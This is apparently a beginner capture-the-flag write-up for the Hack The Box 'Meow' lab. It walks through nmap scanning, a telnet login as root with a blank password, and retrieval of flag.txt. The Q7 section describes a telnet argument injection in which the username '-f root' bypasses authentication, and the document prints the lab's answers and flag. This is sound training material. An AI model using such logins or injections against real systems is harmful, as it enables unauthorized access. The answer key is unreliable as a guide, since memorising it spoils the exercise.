

# Meow

---

## Introduction:

This is a very easy machine. The starting questions are all about theoretical knowledge.

## Questions

---

### Q1: What does the acronym VM stand for?

**Ans:** VM stands for Virtual Machine

**Exp:** A Virtual Machine is software used to simulate a hardware environment in order to install a secondary operating system. It is essentially one operating system running inside another.

---

### Q2: What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell.

**Ans:** Terminal

**Exp:** When setting up the VPN, we use the terminal. On Linux, the command is:

```
sudo openvpn filename.ovpn
```

On Windows, we run the terminal as Administrator to do the same.

---

### Q3: What service do we use to form our VPN connection into HTB labs?

**Ans:** OpenVPN

**Exp:** This question is simply asking about the software used to connect to the Hack The Box virtual network.

### Q4: What tool do we use to test our connection to the target with an ICMP echo request?

**Ans:** ping

**Exp:** This question is asking which command we use in the terminal to check the connection. We normally use `ping` for this purpose.

### Q5: What is the name of the most common tool for finding open ports on a target?

**Ans:** nmap

**Exp:** The most popular network scanning tool is nmap. It is easy to use, fast, and one of the most reliable tools available.

### Q6: What service do we identify on port 23/tcp during our scans?

**Ans:** This is a hands-on scanning task. We will use nmap for this:

```
nmap -sV -sC -p 23 10.129.5.255
```

- `-sV` : Service/Version detection
- `-sC` : Run nmap's default scripts

- `-p` : Specify the port number

```
(hawkx@hawkX)-[~/Documents/hackthebox]
$ nmap -sV -sC -p 23 10.129.5.255
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 07:42 PKT
Nmap scan report for 10.129.5.255
Host is up (0.33s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds
```

**Exp:** From the scan results, we can see:

Service: telnet  
State: open  
Version: Linux telnetd  
Port: 23/tcp

This is a significant finding because Telnet is an unencrypted protocol with no built-in security. An open Telnet port presents a high-risk misconfiguration that may allow unauthorized access.

**Q7: What username is able to log into the target over telnet with a blank password?**

**Ans:** root

**Exp:** There are three main reasons this works, all stemming from misconfiguration:

1. The root account has been configured with a null (empty) password.
2. Some Telnet servers are misconfigured to trust environment variables, which can enable auto-login without requiring a password.
3. **CVE-2026-24061 — Argument Injection:** When connecting, a specially crafted username such as `-f root` can be passed. Telnet forwards this string to the system's login program, and the `-f` flag tells Linux: *"this user is already authenticated, do not ask for a password."*

```
Session Actions Edit View Help
hawxx@hawxx: ~/Documents/hackthebox root@Meow: ~
(hawxx@hawxx) [~/Documents/hackthebox]
$ telnet 10.129.5.255
Trying 10.129.5.255 ...
Connected to 10.129.5.255.
Escape character is '^['.
root@Meow:~#

Hack the Box

Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Fri 20 Feb 2026 03:37:50 AM UTC

System load:          0.04
Usage of /:           41.7% of 7.75GB
Memory usage:         4%
Swap usage:           0%
Processes:            134
Users logged in:      0
IPV4 address for eth0: 10.129.5.255
IPV6 address for eth0: dead:beef::250:56ff:fe94:737f

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Feb 20 02:42:20 UTC 2026 on pts/0
root@Meow:~#
```

## Flag

1. first find out our current location using **pwd** .

```
root@Meow:~# pwd
/root
root@Meow:~#
```

2. next, list the files in the current directory using **ls**

```
root@Meow:~# pwd
/root
root@Meow:~# ls
flag.txt  snap
root@Meow:~#
```

3. finally read the content of file **flag.txt** using the **cat** command.

```
root@Meow:~# pwd
/root
root@Meow:~# ls
flag.txt  snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#
```

**Our flag :** b40abdfe23665f766f9c61ecba8a4c19